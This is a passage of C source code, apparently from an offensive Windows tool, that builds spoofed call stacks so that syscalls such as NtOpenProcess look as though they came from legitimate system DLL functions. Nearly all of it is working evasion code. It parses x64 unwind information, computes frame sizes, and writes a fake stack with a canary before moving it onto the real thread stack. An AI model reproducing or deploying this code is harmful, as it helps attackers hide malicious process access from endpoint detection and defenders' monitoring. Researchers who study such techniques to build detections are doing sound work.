%ls\", frame->function_name, frame->targetDll);\n            }\n            else\n            {\n                DPRINT_ERR(\"could not find function with hash 0x%lx in %ls\", frame->functionHash, frame->targetDll);\n            }\n            goto cleanup;\n        }\n        // set the return address as the start of the function\n        frame->returnAddress = func_base;\n        // save the function address for pretty printing the stack layout\n        frame->function_addr = func_base;\n    }\n\n    if (frame->pattern[0])\n    {\n        // make sure the pattern is within limits of the .text section\n        max_look_range = text_section_size - ((ULONG_PTR)frame->returnAddress - (ULONG_PTR)text_section_addr) - 1;\n\n        success = find_pattern(\n            frame->returnAddress,\n            max_look_range,\n            frame->byte_match,\n            frame->pattern,\n            &pattern_addr);\n        if (!success)\n        {\n            if (frame->function_name[0])\n            {\n                DPRINT_ERR(\"failed to find pattern match for the function with name %s\", frame->function_name);\n            }\n            else\n            {\n                DPRINT_ERR(\"failed to find pattern match for the function with hash 0x%lx\", frame->functionHash);\n            }\n            goto cleanup;\n        }\n        // set the return address to the start of the pattern found\n        frame->returnAddress = pattern_addr;\n    }\n\n    if (frame->offset)\n    {\n        // make sure the offset is within limits of the .text section\n        max_look_range = text_section_size - ((ULONG_PTR)frame->returnAddress - (ULONG_PTR)text_section_addr) - 1;\n        if (frame->offset > max_look_range)\n        {\n            if (frame->function_name[0])\n            {\n                DPRINT_ERR(\"the offset 0x%lx for the function with name %s is too large\", frame->offset, frame->function_name);\n            }\n            else\n            {\n                DPRINT_ERR(\"the offset 0x%lx for the function with hash 0x%lx is too large\", frame->offset, frame->functionHash);\n            }\n            goto cleanup;\n        }\n        // add an offset to the current return address\n        frame->returnAddress = RVA(PVOID, frame->returnAddress, frame->offset);\n    }\n\n    // save the final offset for pretty printing the stack layout\n    if (frame->function_addr)\n        frame->final_offset = (ULONG_PTR)frame->returnAddress - (ULONG_PTR)frame->function_addr;\n    else\n        frame->final_offset = (ULONG_PTR)frame->returnAddress - (ULONG_PTR)image_base;\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\n#ifdef _WIN64\n\n/*\n * Calculates the total stack space used by the fake stack frame. Uses\n * a minimal implementation of RtlVirtualUnwind to parse the unwind codes\n * for target function and add up total stack size. Largely based on:\n * https://github.com/hzqst/unicorn_pe/blob/master/unicorn_pe/except.cpp#L773\n */\nBOOL calculate_function_stack_size_internal(\n    IN OUT PSTACK_FRAME frame,\n    IN ULONG32 frame_index,\n    IN ULONG32 number_of_frames,\n    PRUNTIME_FUNCTION pRuntimeFunction,\n    PVOID image_base)\n{\n    BOOL ret_val = FALSE;\n    PUNWIND_INFO pUnwindInfo = NULL;\n    ULONG unwindOperation = 0;\n    ULONG operationInfo = 0;\n    ULONG index = 0;\n    ULONG frameOffset = 0;\n    ULONG PrologOffset = 0;\n    BOOL success = TRUE;\n    UCHAR m_RtlpUnwindOpSlotTable[12];\n\n    UCHAR slottable[] = {\n        1,          // UWOP_PUSH_NONVOL\n        2,          // UWOP_ALLOC_LARGE (or 3, special cased in lookup code)\n        1,          // UWOP_ALLOC_SMALL\n        1,          // UWOP_SET_FPREG\n        2,          // UWOP_SAVE_NONVOL\n        3,          // UWOP_SAVE_NONVOL_FAR\n        1,          // UWOP_EPILOG\n        0,          // UWOP_SPARE_CODE\n        2,          // UWOP_SAVE_XMM128\n        3,          // UWOP_SAVE_XMM128_FAR\n        1,          // UWOP_PUSH_MACHFRAME\n        1           // UWOP_SET_FPREG_LARGE\n    };\n    memcpy(m_RtlpUnwindOpSlotTable, slottable, sizeof(slottable));\n\n    do\n    {\n        unwindOperation = 0;\n        operationInfo = 0;\n        index = 0;\n        frameOffset = 0 ;\n        success = TRUE;\n        pUnwindInfo = (PUNWIND_INFO)(ULONG_PTR)(pRuntimeFunction->UnwindData + (ULONG_PTR)image_base);\n        PrologOffset = (ULONG)(ULONG_PTR)((ULONG_PTR)frame->returnAddress - ((ULONG_PTR)pRuntimeFunction->BeginAddress + (ULONG_PTR)image_base));\n\n        /*\n         * [1] Loop over unwind info.\n         * NB As this is a PoC, it does not handle every unwind operation, but\n         * rather the minimum set required to successfully mimic the default\n         * call stacks included.\n         */\n        while (index < pUnwindInfo->CountOfCodes)\n        {\n            unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;\n            operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;\n\n            if (PrologOffset >= pUnwindInfo->UnwindCode[index].CodeOffset)\n            {\n                /*\n                 * [2] Loop over unwind codes and calculate\n                 * total stack space used by target function.\n                 */\n                if (unwindOperation == UWOP_PUSH_NONVOL)\n                {\n                    // UWOP_PUSH_NONVOL is 8 bytes.\n                    frame->totalStackSize += 8;\n                    // Record if it pushes rbp as\n                    // this is important for UWOP_SET_FPREG.\n                    if (RBP_OP_INFO == operationInfo)\n                    {\n                        frame->pushRbp = TRUE;\n                        // Record when rbp is pushed to stack.\n                        frame->countOfCodes = pUnwindInfo->CountOfCodes;\n                        frame->pushRbpIndex = index + 1;\n                    }\n                }\n                else if (unwindOperation == UWOP_SAVE_NONVOL)\n                {\n                    // UWOP_SAVE_NONVOL doesn't contribute to stack size\n                    // but you do need to increment index.\n                    index += 1;\n                }\n                else if (unwindOperation == UWOP_SAVE_NONVOL_FAR)\n                {\n                    // UWOP_SAVE_NONVOL_FAR doesn't contribute to stack size\n                    // but you do need to increment index.\n                    index += 2;\n                }\n                else if (unwindOperation == UWOP_ALLOC_SMALL)\n                {\n                    //Alloc size is op info field * 8 + 8.\n                    frame->totalStackSize += ((operationInfo * 8) + 8);\n                }\n                else if (unwindOperation == UWOP_ALLOC_LARGE)\n                {\n                    // Alloc large is either:\n                    // 1) If op info == 0 then size of alloc / 8\n                    // is in the next slot (i.e. index += 1).\n                    // 2) If op info == 1 then size is in next\n                    // two slots.\n                    index += 1;\n                    frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;\n                    if (operationInfo == 0)\n                    {\n                        frameOffset *= 8;\n                    }\n                    else\n                    {\n                        index += 1;\n                        frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);\n                    }\n                    frame->totalStackSize += frameOffset;\n                }\n                else if (unwindOperation == UWOP_SET_FPREG)\n                {\n                    // This sets rsp == rbp (mov rsp,rbp), so we need to ensure\n                    // that rbp is the expected value (in the frame above) when\n                    // it comes to spoof this frame in order to ensure the\n                    // call stack is correctly unwound.\n                    frame->setsFramePointer = TRUE;\n\n                    // if the frame sets the FramePointer but is the top frame,\n                    // reduce the totalStackSize by 0x10 bytes (no idea why this works)\n                    if (frame_index == 0)\n                        frame->totalStackSize -= 0x10;\n                }\n                else if (unwindOperation == UWOP_EPILOG)\n                {\n                    // do nothing\n                }\n                else if (unwindOperation == UWOP_SAVE_XMM128)\n                {\n                    // do nothing\n                    index += 1;\n                }\n                else if (unwindOperation == UWOP_SAVE_XMM128_FAR)\n                {\n                    // do nothing\n                    index += 2;\n                }\n                else if (unwindOperation == UWOP_PUSH_MACHFRAME)\n                {\n                    frame->push_frame = TRUE;\n                    frame->is_exception = operationInfo != 0;\n                    break;\n                }\n                else\n                {\n                    PRINT_ERR(\"unsupported Unwind Op Code: 0x%lx\", unwindOperation);\n                    success = FALSE;\n                }\n\n                index += 1;\n            }\n            else\n            {\n                //\n                // Skip this unwind operation by advancing the slot index by the\n                // number of slots consumed by this operation.\n                //\n\n                index += m_RtlpUnwindOpSlotTable[unwindOperation];\n\n                //\n                // Special case any unwind operations that can consume a variable\n                // number of slots.\n                //\n\n                if (unwindOperation == UWOP_ALLOC_LARGE)\n                {\n                    if (operationInfo != 0)\n                    {\n                        index += 1;\n                    }\n\n                }\n            }\n        }\n\n        if (!success)\n            goto cleanup;\n\n        // If chained unwind information is present then we need to\n        // also recursively parse this and add to total stack size.\n        if (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)\n        {\n            index = pUnwindInfo->CountOfCodes;\n            if (0 != (index & 1))\n            {\n                index += 1;\n            }\n            pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);\n        }\n    } while(pUnwindInfo->Flags & UNW_FLAG_CHAININFO);\n\n    // Add the size of the return address (8 bytes).\n    frame->totalStackSize += 8;\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\n#endif\n\n/*\n * Retrieves the runtime function entry for given fake ret address\n * and calls CalculateFunctionStackSize, which will recursively\n * calculate the total stack space utilisation.\n */\nBOOL calculate_function_stack_size(\n    IN OUT PSTACK_FRAME frame,\n    IN ULONG32 frame_index,\n    IN ULONG32 number_of_frames)\n{\n#ifdef _WIN64\n\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    PRUNTIME_FUNCTION pRuntimeFunction = NULL;\n    PVOID ImageBase = NULL;\n\n    success = lookup_function_entry(\n        (ULONG_PTR)frame->returnAddress,\n        &pRuntimeFunction,\n        &ImageBase);\n    if (!pRuntimeFunction)\n        goto cleanup;\n\n    /*\n     * [2] Recursively calculate the total stack size for\n     * the function we are \"returning\" to\n     */\n    success = calculate_function_stack_size_internal(\n        frame,\n        frame_index,\n        number_of_frames,\n        pRuntimeFunction,\n        ImageBase);\n    if (!success)\n        goto cleanup;\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n\n#else\n\n    // set the totalStackSize to a value large enough to store many parameters\n    frame->totalStackSize = 0x70;\n    return TRUE;\n\n#endif\n}\n\n/*\n * Takes a target call stack and configures it ready for use\n * via loading any required dlls, resolving module addresses\n * and calculating spoofed return addresses.\n */\nVOID initialize_spoofed_callstack(\n    PSTACK_FRAME callstack,\n    DWORD number_of_frames)\n{\n    BOOL success = FALSE;\n    PSTACK_FRAME frame = NULL;\n\n    for (DWORD i = 0; i < number_of_frames; i++)\n    {\n        frame = &callstack[i];\n        frame->is_valid = FALSE;\n\n        // [1] Calculate ret address for current stack frame.\n        success = calculate_return_address(frame);\n        if (!success)\n            continue;\n\n        // [2] Calculate the total stack size for ret function.\n        success = calculate_function_stack_size(frame, i, number_of_frames);\n        if (!success)\n            continue;\n\n        frame->is_valid = TRUE;\n    }\n}\n\n// Pushes a value to the stack of a Context structure.\n//\nVOID push_to_stack(\n    PSTACK_INFO stack_info,\n    ULONG_PTR value)\n{\n#ifdef _WIN64\n    stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - 0x8);\n    *(PULONG64)(stack_info->fake_stack_rsp) = value;\n#else\n    stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - 0x4);\n    *(PULONG32)(stack_info->fake_stack_rsp) = value;\n#endif\n}\n\n#ifdef _WIN64\n\nVOID initialize_fake_thread_state(\n    PSTACK_FRAME callstack,\n    DWORD number_of_frames,\n    PSTACK_INFO stack_info)\n{\n    ULONG_PTR childSp = 0;\n    BOOL bPreviousFrameSetUWOP_SET_FPREG = FALSE;\n    PSTACK_FRAME stackFrame = NULL;\n    stack_info->fake_stack_rbp = NULL;\n\n    // As an extra sanity check explicitly clear\n    // the last RET address to stop any further unwinding.\n    push_to_stack(stack_info, 0);\n\n    // [2] Loop through target call stack *backwards*\n    // and modify the stack so it resembles the fake\n    // call stack e.g. essentially making the top of\n    // the fake stack look like the diagram below:\n    //      |                |\n    //       ----------------\n    //      |  RET ADDRESS   |\n    //       ----------------\n    //      |                |\n    //      |     Unwind     |\n    //      |     Stack      |\n    //      |      Size      |\n    //      |                |\n    //       ----------------\n    //      |  RET ADDRESS   |\n    //       ----------------\n    //      |                |\n    //      |     Unwind     |\n    //      |     Stack      |\n    //      |      Size      |\n    //      |                |\n    //       ----------------\n    //      |   RET ADDRESS  |\n    //       ----------------   <--- RSP when NtOpenProcess is called\n    //\n    for (DWORD i = 0; i < number_of_frames; i++)\n    {\n        // loop from the last to the first\n        stackFrame = &callstack[number_of_frames - i - 1];\n\n        // if the frame is not valid, simply ignore it\n        if (!stackFrame->is_valid)\n            continue;\n\n        if (stackFrame->push_frame)\n        {\n            PVOID prev_ret_addr = *((PVOID*)stack_info->fake_stack_rsp);\n            PVOID prev_rsp = RVA(PVOID, stack_info->fake_stack_rsp, 0x8);\n\n            stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - stackFrame->totalStackSize);\n\n            // push a machine frame: https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170\n\n            ULONG32 base = stackFrame->totalStackSize - 0x8;\n\n            // if there is an excepcion, the error code is pushed last\n            if (stackFrame->is_exception)\n                base += 0x8;\n\n            // SS\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x28) = 0x0;\n            // Old RSP\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x20) = from_fake_to_real(stack_info, prev_rsp);\n            // EFLAGS\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x18) = 0x0;\n            // CS\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x10) = 0x0;\n            // RIP\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x08) = prev_ret_addr;\n            // Error code\n            if (stackFrame->is_exception)\n                *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp + base + 0x00) = 0x0;\n\n            // write the ret address\n            *(PVOID*)((ULONG_PTR)stack_info->fake_stack_rsp) = stackFrame->returnAddress;\n            // update RBP\n            stack_info->fake_stack_rbp = RVA(PVOID, stack_info->fake_stack_rsp, - 0x8);\n        }\n        // [2.1] Check if the last frame set UWOP_SET_FPREG.\n        // If the previous frame uses the UWOP_SET_FPREG\n        // op, it will reset the stack pointer to rbp.\n        // Therefore, we need to find the next function in\n        // the chain which pushes rbp and make sure it writes\n        // the correct value to the stack so it is propagated\n        // to the frame after that needs it (otherwise stackwalk\n        // will fail). The required value is the childSP\n        // of the function that used UWOP_SET_FPREG (i.e. the\n        // value of RSP after it is done adjusting the stack and\n        // before it pushes its RET address).\n        else if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp)\n        {\n            // [2.2] Check when RBP was pushed to the stack in function\n            // prologue. UWOP_PUSH_NONVOls will always be last:\n            // \"Because of the constraints on epilogs, UWOP_PUSH_NONVOL\n            // unwind codes must appear first in the prolog and\n            // correspondingly, last in the unwind code array.\"\n            // Hence, subtract the push rbp code index from the\n            // total count to work out when it is pushed onto stack.\n            // E.g. diff will be 1 below, so rsp -= 0x8 then write childSP:\n            // RPCRT4!LrpcIoComplete:\n            // 00007ffd`b342b480 4053            push    rbx\n            // 00007ffd`b342b482 55              push    rbp\n            // 00007ffd`b342b483 56              push    rsi\n            // If diff == 0, rbp is pushed first etc.\n            DWORD diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;\n            DWORD tmpStackSizeCounter = 0;\n            for (ULONG j = 0; j < diff; j++)\n            {\n                // e.g. push rbx\n                push_to_stack(stack_info, 0x0);\n                tmpStackSizeCounter += 0x8;\n            }\n            // push rbp\n            push_to_stack(stack_info, (ULONG_PTR)from_fake_to_real(stack_info, (PVOID)childSp));\n\n            // [2.3] Minus off the remaining function stack size\n            // and continue unwinding.\n            stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8)));\n            *(PVOID*)(stack_info->fake_stack_rsp) = stackFrame->returnAddress;\n\n            // update RBP\n            stack_info->fake_stack_rbp = RVA(PVOID, stack_info->fake_stack_rsp, - 0x8);\n\n            // [2.4] From my testing it seems you only need to get rbp\n            // right for the next available frame in the chain which pushes it.\n            // Hence, there can be a frame in between which does not push rbp.\n            // Ergo set this to false once you have resolved rbp for frame\n            // which needed it. This is pretty flimsy though so this assumption\n            // may break for other more complicated examples.\n            bPreviousFrameSetUWOP_SET_FPREG = FALSE;\n        }\n        else\n        {\n            // [3] If normal frame, decrement total stack size\n            // and write RET address.\n            stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - stackFrame->totalStackSize);\n            *(PVOID*)(stack_info->fake_stack_rsp) = stackFrame->returnAddress;\n\n            // update RBP\n            stack_info->fake_stack_rbp = RVA(PVOID, stack_info->fake_stack_rsp, - 0x8);\n        }\n\n        // [4] Check if the current function sets frame pointer\n        // when unwinding e.g. mov rsp,rbp / UWOP_SET_FPREG\n        // and record its childSP.\n        if (stackFrame->setsFramePointer)\n        {\n            childSp = (ULONG_PTR)stack_info->fake_stack_rsp;\n            childSp += 0x8;\n            bPreviousFrameSetUWOP_SET_FPREG = TRUE;\n        }\n    }\n}\n\n#else\n\nVOID initialize_fake_thread_state(\n    PSTACK_FRAME callstack,\n    DWORD number_of_frames,\n    PSTACK_INFO stack_info)\n{\n    PSTACK_FRAME stackFrame = NULL;\n    stack_info->fake_stack_rbp = NULL;\n\n    // As an extra sanity check explicitly clear\n    // the last RET address to stop any further unwinding.\n    push_to_stack(stack_info, 0);\n\n    for (DWORD i = 0; i < number_of_frames; i++)\n    {\n        // loop from the last to the first\n        stackFrame = &callstack[number_of_frames - i - 1];\n\n        // if the frame is not valid, simply ignore it\n        if (!stackFrame->is_valid)\n            continue;\n\n        // push the value for EBP\n        push_to_stack(stack_info, (ULONG_PTR)from_fake_to_real(stack_info, stack_info->fake_stack_rbp));\n\n        // update RBP\n        stack_info->fake_stack_rbp = stack_info->fake_stack_rsp;\n\n        // add the size of the stack frame to the stack\n        stack_info->fake_stack_rsp -= stackFrame->totalStackSize - 0x4;\n\n        // write the return address\n        *(PVOID*)(stack_info->fake_stack_rsp) = stackFrame->returnAddress;\n    }\n}\n\n#endif\n\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) PVOID get_rip(VOID)\n{\n    __asm {\n        mov eax, [esp]\n        ret\n    }\n}\n\n__declspec(naked) PVOID get_rsp(VOID)\n{\n    __asm {\n        SET_SYNTAX\n        lea eax, [esp+0x4]\n        ret\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) PVOID get_rip(VOID)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov rax, [rsp] \\n\"\n        \"ret \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"mov eax, [esp] \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n__declspec(naked) PVOID get_rsp(VOID)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"lea rax, [rsp+0x8] \\n\"\n        \"ret \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"lea eax, [esp+0x4] \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n#endif\n\n#ifdef _WIN64\n\nVOID lookup_function_table(\n    IN PVOID ControlPc,\n    OUT PVOID* pImageBase,\n    OUT PRUNTIME_FUNCTION* runtime_function,\n    OUT PULONG32 size)\n{\n    PIMAGE_DOS_HEADER dos = find_dll_by_pointer(ControlPc);\n    if (!dos)\n        return;\n\n    PIMAGE_NT_HEADERS nt = RVA(PIMAGE_NT_HEADERS, dos, dos->e_lfanew);\n    ULONG32 rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\n    ULONG32 Size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;\n    if (Size)\n    {\n        *pImageBase = dos;\n        *size = Size / sizeof(RUNTIME_FUNCTION);\n        *runtime_function = RVA(PRUNTIME_FUNCTION, dos, rva);\n    }\n    else\n    {\n        *size = 0;\n        *runtime_function = NULL;\n        DPRINT_ERR(\"the module at 0x%p has no exception directory\", dos);\n    }\n}\n\nBOOL lookup_function_entry(\n    IN ULONG_PTR ControlPc,\n    PRUNTIME_FUNCTION* pFunctionEntry,\n    PVOID* pImageBase)\n{\n    PRUNTIME_FUNCTION FunctionEntry;\n    ULONG IndexLo, IndexHi, IndexMid;\n    PVOID ImageBase = 0;\n    PRUNTIME_FUNCTION FunctionTable = NULL;\n    ULONG32 TableLength = 0;\n\n    lookup_function_table(\n        (PVOID)ControlPc,\n        &ImageBase,\n        &FunctionTable,\n        &TableLength);\n    if (!FunctionTable)\n        return FALSE;\n\n    /* Use relative virtual address */\n    ControlPc -= (ULONG_PTR)ImageBase;\n\n    /* Do a binary search */\n    IndexLo = 0;\n    IndexHi = TableLength;\n    while (IndexHi > IndexLo)\n    {\n        IndexMid = (IndexLo + IndexHi) / 2;\n        FunctionEntry = &FunctionTable[IndexMid];\n\n        if (ControlPc < FunctionEntry->BeginAddress)\n        {\n            /* Continue search in lower half */\n            IndexHi = IndexMid;\n        }\n        else if (ControlPc >= FunctionEntry->EndAddress)\n        {\n            /* Continue search in upper half */\n            IndexLo = IndexMid + 1;\n        }\n        else\n        {\n            /* ControlPc is within limits, return entry */\n            *pFunctionEntry = FunctionEntry;\n            *pImageBase = ImageBase;\n            return TRUE;\n        }\n    }\n\n    /* Nothing found, return NULL */\n    PRINT_ERR(\"the function at 0x%p is a leaf function, try another one.\", RVA(PVOID, ImageBase, ControlPc));\n    return FALSE;\n}\n\n#endif\n\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) PNT_TIB get_tib(VOID)\n{\n    __asm{\n        mov eax, 0x18\n        mov eax, fs:[eax]\n        ret\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) PNT_TIB get_tib(VOID)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        \"mov eax, 0x30 \\n\"\n        \"mov rax, gs:[rax] \\n\"\n        \"ret \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        \"mov eax, 0x18 \\n\"\n        \"mov eax, fs:[eax] \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n#endif\n\nBOOL create_fake_callstack(\n    PSTACK_INFO stack_info,\n    ULONG32 function_hash)\n{\n    BOOL ret_val = FALSE;\n    PSTACK_FRAME callstack = NULL;\n    DWORD number_of_frames = 0;\n    ULONG64 stack_space_needed = 0;\n    PVOID real_stack_backup = NULL;\n    PVOID fake_stack_heap_addr = NULL;\n    PVOID target_stack_top = NULL;\n#if defined(DEBUG) && !defined(PPL_MEDIC)\n    PVOID target_stack_bottom = NULL;\n#endif\n    PVOID full_stack_base = NULL;\n    ULONG64 full_stack_size = 0;\n    ULONG32 values_stored_after_canary = 7;\n    ULONG32 empty_space = 0;\n    PVOID storing_area = NULL;\n    PNT_TIB tib = NULL;\n#ifdef _WIN64\n    ULONG32 ptr_size = 8;\n    ULONG_PTR canary_value = 0xDEADBEEFCAFEBABE;\n#else\n    ULONG32 ptr_size = 4;\n    ULONG_PTR canary_value = 0xDEADBEEF;\n#endif\n\n    // get the address and size of the stack\n    tib = (PNT_TIB)get_tib();\n    full_stack_base = tib->StackLimit;\n    full_stack_size = (ULONG_PTR)tib->StackBase - (ULONG_PTR)tib->StackLimit;\n    DPRINT(\"obtained the stack ranges: 0x%p - 0x%p\", tib->StackLimit, tib->StackBase);\n\n    callstack = intAlloc(sizeof(STACK_FRAME) * MAX_FRAME_NUM);\n    if (!callstack)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    // you can have a different stack layout for each syscall\n    switch (function_hash)\n    {\n        case NtOpenProcess_SW2_HASH:\n            DPRINT(\"using the NtOpenProcess call stack\");\n            set_ntopenprocess_callstack(callstack, &number_of_frames);\n            break;\n        default:\n            DPRINT(\"using the default call stack\");\n            set_default_callstack(callstack, &number_of_frames);\n            break;\n    }\n\n    if (number_of_frames > MAX_FRAME_NUM)\n    {\n        PRINT_ERR(\"too many frames!\");\n        goto cleanup;\n    }\n\n    /*\n     * Initialise our target call stack to spoof. This\n     * will load any required dlls, calculate ret addresses,\n     * and individual stack sizes needed to mimic the call stack.\n     */\n    initialize_spoofed_callstack(\n        callstack,\n        number_of_frames);\n\n    storing_area = intAlloc(ptr_size * values_stored_after_canary);\n    DPRINT(\"storing area is at: 0x%p\", storing_area);\n    if (!storing_area)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    // calculate how much space do we need to fit the fake stack\n    // add space for the first ret addr\n    stack_space_needed += ptr_size;\n    for (int i = 0; i < number_of_frames; ++i)\n    {\n        if (callstack[i].is_valid)\n            stack_space_needed += callstack[i].totalStackSize;\n    }\n    // add space for the canary\n    stack_space_needed += ptr_size;\n    // add space for the address of the storing area\n    stack_space_needed += ptr_size;\n    // add unsued bytes at the bottom of the fake stack\n    // so that when saving RIP we don't write outside the stack's lower bound\n\n    // make sure the stack is kept 16 bytes alligned\n    if ((stack_space_needed & ptr_size) == ptr_size)\n        empty_space = ptr_size * 2;\n    else\n        empty_space = ptr_size;\n    stack_space_needed += empty_space;\n\n    DPRINT(\"size of the fake stack: 0x%llx\", stack_space_needed);\n\n    // allocate space where the fake stack will be created\n    fake_stack_heap_addr = intAlloc(stack_space_needed);\n    DPRINT(\"fake stack on the heap: 0x%p - 0x%p\", fake_stack_heap_addr, RVA(PVOID, fake_stack_heap_addr, stack_space_needed));\n    if (!fake_stack_heap_addr)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    // allocate space where the real stack will be stored\n    real_stack_backup = intAlloc(full_stack_size);\n    DPRINT(\"backup of the stack real stack: 0x%p - 0x%p\", real_stack_backup, RVA(PVOID, real_stack_backup, full_stack_size));\n    if (!real_stack_backup)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n#if defined(DEBUG) && !defined(PPL_MEDIC)\n    target_stack_bottom = RVA(PVOID, full_stack_base, full_stack_size);\n#endif\n    target_stack_top = RVA(PVOID, full_stack_base, full_stack_size - stack_space_needed);\n\n    DPRINT(\"the spoofed call stack will be stored at: 0x%p - 0x%p\", target_stack_top, target_stack_bottom);\n\n    // get the address of the first return address\n    // this is used for calling APIs with a fake callstack\n    for (int i = 0; i < number_of_frames; ++i)\n    {\n        if (callstack[i].is_valid && callstack[i].returnAddress)\n        {\n            stack_info->first_ret_addr = callstack[i].returnAddress;\n            break;\n        }\n    }\n\n    // the fake stack will be constructed on the heap\n    // then it will be moved to the bottom of the real stack\n    stack_info->full_stack_base = full_stack_base;\n    stack_info->full_stack_size = full_stack_size;\n    stack_info->full_stack_backup_addr = real_stack_backup;\n    stack_info->fake_stack_heap_addr = fake_stack_heap_addr;\n    stack_info->fake_stack_size = stack_space_needed;\n    stack_info->fake_stack_target_addr = target_stack_top;\n    stack_info->fake_stack_rsp = RVA(PVOID, stack_info->fake_stack_heap_addr, stack_info->fake_stack_size);\n    stack_info->storing_area = storing_area;\n\n    /*\n     * layout:\n     * 0x0000 top of the stack\n     * - <fake call stack>\n     * - canary\n     * - storing_area\n     * - <unused>\n     * 0xffff stack bottom\n     *\n     * storing_area:\n     * - full_stack_size\n     * - full_stack_backup_addr\n     * - full_stack_base\n     * - RBX\n     * - RBP\n     * - RSP\n     * - RIP\n    */\n\n    // save some bytes that will be left unused\n    stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - empty_space);\n    // save space for the address of the storing area\n    stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - ptr_size);\n    // write the storing area pointer\n    *((PVOID*)stack_info->fake_stack_rsp) = storing_area;\n    // save space for the canary\n    stack_info->fake_stack_rsp = (PVOID)((ULONG_PTR)stack_info->fake_stack_rsp - ptr_size);\n    // write the canary\n    *((PVOID*)stack_info->fake_stack_rsp) = (PVOID)canary_value;\n\n    stack_info->canary_addr = stack_info->fake_stack_rsp;\n\n    // Initialise fake thread state.\n    initialize_fake_thread_state(\n        callstack,\n        number_of_frames,\n        stack_info);\n\n    // 'translate' the addresses of the RSP, RBP and the canary\n    stack_info->fake_stack_rsp = from_fake_to_real(stack_info, stack_info->fake_stack_rsp);\n    stack_info->fake_stack_rbp = from_fake_to_real(stack_info, stack_info->fake_stack_rbp);\n    stack_info->canary_addr = from_fake_to_real(stack_info, stack_info->canary_addr);\n\n    DPRINT(\"fake stack layout:\")\n    DPRINT(\"    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\");\n    BOOL is_first = TRUE;\n    for (int i = 0; i < number_of_frames; ++i)\n    {\n        if (callstack[i].is_valid)\n        {\n            if (is_first)\n            {\n                if (callstack[i].function_name[0])\n                {\n                    DPRINT(\"    ret address: %ls!%s+0x%x <-- stack pointer: 0x%p\", callstack[i].target_dll_name, callstack[i].function_name, callstack[i].final_offset, stack_info->fake_stack_rsp);\n                }\n                else\n                {\n                    DPRINT(\"    ret address: %ls+0x%x <-- stack pointer: 0x%p\", callstack[i].target_dll_name, callstack[i].final_offset, stack_info->fake_stack_rsp);\n                }\n            }\n            else\n            {\n                if (callstack[i].function_name[0])\n                {\n                    DPRINT(\"    ret address: %ls!%s+0x%x\", callstack[i].target_dll_name, callstack[i].function_name, callstack[i].final_offset);\n                }\n                else\n                {\n                    DPRINT(\"    ret address: %ls+0x%x\", callstack[i].target_dll_name, callstack[i].final_offset);\n                }\n            }\n            DPRINT(\"    -------------------------------\");\n            DPRINT(\"        <0x%lx bytes of space>\", callstack[i].totalStackSize - ptr_size);\n            is_first = FALSE;\n        }\n    }\n    DPRINT(\"    ret address: 0x%p\", NULL);\n    DPRINT(\"    -------------------------------\");\n    DPRINT(\"    canary: 0x%p\", (PVOID)canary_value);\n    DPRINT(\"    storing ptr: 0x%p\", stack_info->storing_area);\n    DPRINT(\"        <0x%x bytes of space>       <-- stack bottom: 0x%p\", empty_space, full_stack_base);\n    DPRINT(\"    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\");\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val && fake_stack_heap_addr)\n        intFree(fake_stack_heap_addr);\n    if (!ret_val && real_stack_backup)\n        intFree(real_stack_backup);\n    if (!ret_val && storing_area)\n        intFree(storing_area);\n    if 